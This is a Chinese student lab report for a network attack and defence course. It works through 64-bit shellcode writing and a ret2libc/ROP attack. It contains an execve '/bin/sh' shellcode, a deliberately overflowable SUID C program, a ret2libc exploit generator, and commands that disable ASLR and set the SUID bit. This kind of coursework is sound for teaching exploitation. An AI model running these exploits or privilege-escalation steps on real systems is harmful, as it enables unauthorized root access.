1. 程式人生 > >2018-2019 20165226 網絡對抗 Exp1+ 逆向進階

2018-2019 20165226 網絡對抗 Exp1+ 逆向進階

執行 body linux下 提取 urn pda 所有者 調用 權限

2018-2019 20165226 網絡對抗 Exp1+ 逆向進階

目錄


一、實驗內容介紹
二、64位shellcode的編寫及註入
三、ret2lib及rop的實踐

四、問題與思考



一、實驗內容介紹

第一個實踐是在非常簡單的一個預設條件下完成的:

(1)關閉堆棧保護

(2)關閉堆棧執行保護

(3)關閉地址隨機化

(4)在x32環境下

(5)在Linux實踐環境

建議的實踐內容包括:

  • Task1 (5-10分)

    • 自己編寫一個64位shellcode。參考shellcode指導。
    • 自己編寫一個有漏洞的64位C程序,功能類似我們實驗1中的樣例pwn1。使用自己編寫的shellcode進行註入。
  • Task 2 (5-10分)

    • 進一步學習並做ret2lib及rop的實踐,以繞過“堆棧執行保護”。參考ROP
  • Task 3 ( 5-25分)

    • 可研究實踐任何繞過前面預設條件的攻擊方法;可研究Windows平臺的類似技術實踐。

    • 或任何自己想弄明白的相關問題。包括非編程實踐,如:我們當前的程序還有這樣的漏洞嗎?

同學們可跟蹤深入任何一個作為後續課題。問題-思考-驗證-深入...。根據實踐量,可作為5-25分的期末免考題目。

往屆樣例:學習並實踐:Linux攻擊實踐完整流程
返回目錄



二、64位shellcode的編寫及註入


自己編寫一個64位shellcode。參考shellcode指導。

自己編寫一個有漏洞的64位C程序,功能類似我們實驗1中的樣例pwn1。使用自己編寫的shellcode進行註入。

shellcode 主要的目的是調用系統函數,而在x86下 在linux下有兩種方式。
第一種是通過直接調用中斷 int 0x80進入內核態,從而達到調用目的。
第二種是通過調用libc裏syscall(64位)和sysenter(32位)

  • 首先通過資源找到root shell的匯編源碼
global _start  
  
_start:  
  
xor rdi,rdi  
xor rax,rax  
mov al,0x69  
syscall  
  
xor rdx, rdx  
mov rbx, 0x68732f6e69622fff  
shr rbx, 0x8  
push rbx  
mov rdi, rsp  
xor rax, rax  
push rax  
push rdi  
mov rsi, rsp  
mov al, 0x3b  
syscall

技術分享圖片

  • 用nasm編譯,然後用ld進行鏈接

技術分享圖片

  • 這個代碼並不是能夠執行的shellcode ,但是我們可以通過編譯成可執行文件,而拿到我們需要的操作碼

技術分享圖片

  • 套用一個代碼測試我們的shellcode
#include <stdio.h>  
#include <string.h>  
  
char *shellcode = "\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05";  
  
int main(void)  
{  
fprintf(stdout,"Length: %d\n",strlen(shellcode));  
(*(void(*)()) shellcode)();  
return 0;  
}  

通過運行結果,發現這個shellcode不能用

技術分享圖片

返回目錄



三、ret2lib及rop的實踐


進一步學習並做ret2lib及rop的實踐,以繞過“堆棧執行保護”。

1、ROP

  • ROP全稱為Retrun-oriented Programmming(面向返回的編程)是一種新型的基於代碼復用技術的攻擊,攻擊者從已有的庫或可執行文件中提取指令片段,構建惡意代碼。

  • ROP攻擊同緩沖區溢出攻擊,格式化字符串漏洞攻擊不同,是一種全新的攻擊方式,它利用代碼復用技術。

  • ROP的核心思想:
    • 攻擊者掃描已有的動態鏈接庫和可執行文件,提取出可以利用的指令片段(gadget),這些指令片段均以ret指令結尾,即用ret指令實現指令片段執行流的銜接。
    • 操作系統通過棧來進行函數的調用和返回。函數的調用和返回就是通過壓棧和出棧來實現的。每個程序都會維護一個程序運行棧,棧為所有函數共享,每次函數調用,系統會分配一個棧楨給當前被調用函數,用於參數的傳遞、局部變量的維護、返回地址的填入等。棧幀是程序運行棧的一部分 ,在Linux中 ,通過%esp和 %ebp寄存器維護棧頂指針和棧幀的起始地址 ,%eip是程序計數器寄存器。
    • 而ROP攻擊則是利用以ret結尾的程序片段 ,操作這些棧相關寄存器,控制程的流程,執行相應的gadget,實施攻擊者預設目標 。
  • ROP不同於retum-to-libc攻擊之處在於,R0P攻擊以ret指令結尾的函數代碼片段 ,而不是整個函數本身去完成預定的操作。
    • 從廣義角度講 ,return-to-libc攻擊是ROP攻的特例。
    • 最初ROP攻擊實現在x86體系結構下,隨後擴展到各種體系結構.。
    • 與以往攻擊技術不同的是,ROP惡意代碼不包含任何指令,將自己的惡意代碼隱藏在正常代碼中。因而,它可以繞過W⊕X的防禦技術。

2、核心原理-攻擊緩沖區的內容

下表中ptr1-3就是在當前進程內存空間中要找到的地址。然後利用這三個地址構造攻擊緩沖區,覆蓋被攻擊函數的堆棧。這只是一個非常簡單的ROP攻擊,只用了一個代碼片段。復雜的ROP是由一系列的ptr1那樣的指針構成,每一個都是以retq結尾的一小片代碼(gadget)。

攻擊用的緩沖區 指向的內容 說明
ptr3內存地址3(高地址) system
ptr2內存地址2 /bin/sh
ptr1內存地址1(低地址) pop %rdi;retq 覆蓋堆棧上的返回地址
填充內容 這部分內容主要是長度要合適,保證ptr1能覆蓋到返回地址

上面構造的攻擊用緩沖區原理和前面介紹的Shellcode很類似。

  • 利用這個攻擊buf覆蓋堆棧
  • 當函數返回時,就會跳轉到ptr1指向的指令
  • pop %rdi時,ESP/RSP指向的就是ptr2,結果就是ptr2被彈出到rdi中。然後ESP/RSP指向ptr3
  • 接下來執行retq時,就會跳轉到當前ESP指向的內容,即ptr3指向的函數,system。system從RDI中取參數運行/bin/sh獲得Shell

3、攻擊步驟

  • 輸入命令安裝一些用於編譯 32 位 C 程序的東西。
sudo apt-get update
sudo apt-get install lib32z1 libc6-dev-i386
sudo apt-get install lib32readline-gplv2-dev
  • 輸入命令“linux32”進入 32 位 linux 環境。輸入“/bin/bash”使用 bash。
    關閉地址空間隨機化,不能隨機堆(heap)和棧(stack)的初始地址。以及##設置堆棧不可執行##。
gcc -z noexecstack -o test test.c  //棧不可執行
sudo sysctl -w kernel.randomize_va_space=0 //關閉地址隨機化

技術分享圖片

  • 添加一個新用戶,如圖所示

技術分享圖片

  • 即使你能欺騙一個 Set-UID 程序調用一個 shell,也不能在這個 shell 中保持 root 權限,這個防護措施在/bin/bash 中實現。
    linux 系統中,/bin/sh 實際是指向/bin/bash 或/bin/dash 的一個符號鏈接。為了重現這一防護措施被實現之前的情形,我們使用另一個 shell 程序(zsh)代替/bin/bash。下面的指令描述了如何設置 zsh 程序。

技術分享圖片

  • 把以下漏洞代碼保存為5226retlib.c文件,保存到/tmp目錄下,並進行編譯,設置。代碼如下:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(FILE *badfile)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
fread(buffer, sizeof(char), 40, badfile);
return 1;
}
int main(int argc, char **argv)
{
FILE *badfile;
badfile = fopen("badfile", "r");
bof(badfile);
printf("Returned Properly\n");
fclose(badfile);
return 1;
}

技術分享圖片

  • 編譯上述程序編譯該程序,並設置 SET-UID。
sudo su//獲取root權限
gcc -m32 -g -z noexecstack -fno-stack-protector -o retlib retlib.c//設置棧不可執行
chmod u+s retlib //給retlib程序的所有者以suid權限,可以像root用戶一樣操作
exit

技術分享圖片

  • 此外,我們還需要用到一個讀取環境變量的程序,並通過gcc -m32 -o getenvaddr getenvaddr.c進行編譯。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char const *argv[])
{
 char *ptr;

 if(argc < 3){
    printf("Usage: %s <environment var> <target program name>\n", argv[0]);
    exit(0);
    }
 ptr = getenv(argv[1]);
 ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
 printf("%s will be at %p\n", argv[1], ptr);
 return 0;
}
  • 獲得 BIN_SH 地址
export BIN_SH="/bin/sh"
echo $BIN_SH
./getenvaddr BIN_SH ./reblic

技術分享圖片

  • 以下代碼為攻擊程序,保存為“exploit.c”文件,保存到 /tmp 目錄下。
include <stdlib.h>
include <stdio.h>
include <string.h>
int main(int argc, char **argv)
{
 char buf[40];
 FILE *badfile;
 badfile = fopen(".//badfile", "w");
 strcpy(buf, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");// nop 24 times
 *(long *) &buf[32] =0x11111111; // "//bin//sh"
 *(long *) &buf[24] =0x22222222; // system()
 *(long *) &buf[36] =0x33333333; // exit()
 fwrite(buf, sizeof(buf), 1, badfile);
 fclose(badfile);
}
  • 通過編譯和gdb調試獲取system和exit地址
gcc -m32 -g -o exploit exploit.c//編譯
gdb -q ./exploit//調試
b 10//設置斷點
run//運行到斷點處
p system//獲取system地址
p exit//獲取exit地址

技術分享圖片

  • 修改exploit.c文件,填上剛才找到的內存地址。刪除剛才調試編譯的exploit程序和badfile文件,重新編譯修改後的exploit.c

技術分享圖片

技術分享圖片

  • 首先運行攻擊程序,生成badfile文件,載運行漏洞程序,可以看到攻擊成功,獲得root權限。

技術分享圖片

返回目錄



四、問題與思考

  • 問題1:輸入命令行sudo apt-get install lib32readline-gplv2-dev的時候出現無法安裝的提示
    技術分享圖片

  • 問題1解決方案:將命令改成sudo apt-get install lib32readline6-dev於是成功安裝
    技術分享圖片

  • 問題2:在編譯5226retlib.c時出現如圖所示錯誤
    技術分享圖片

  • 問題2解決方案:發現第一行沒有#,加上後編譯成功

  • 問題3:在運行攻擊程序生成badfile文件,載運行漏洞程序時攻擊失敗
    技術分享圖片

  • 問題3解決方案:發現在另一終端未退出,在退出後重新進入目錄,再運行,成功
    返回目錄



2018-2019 20165226 網絡對抗 Exp1+ 逆向進階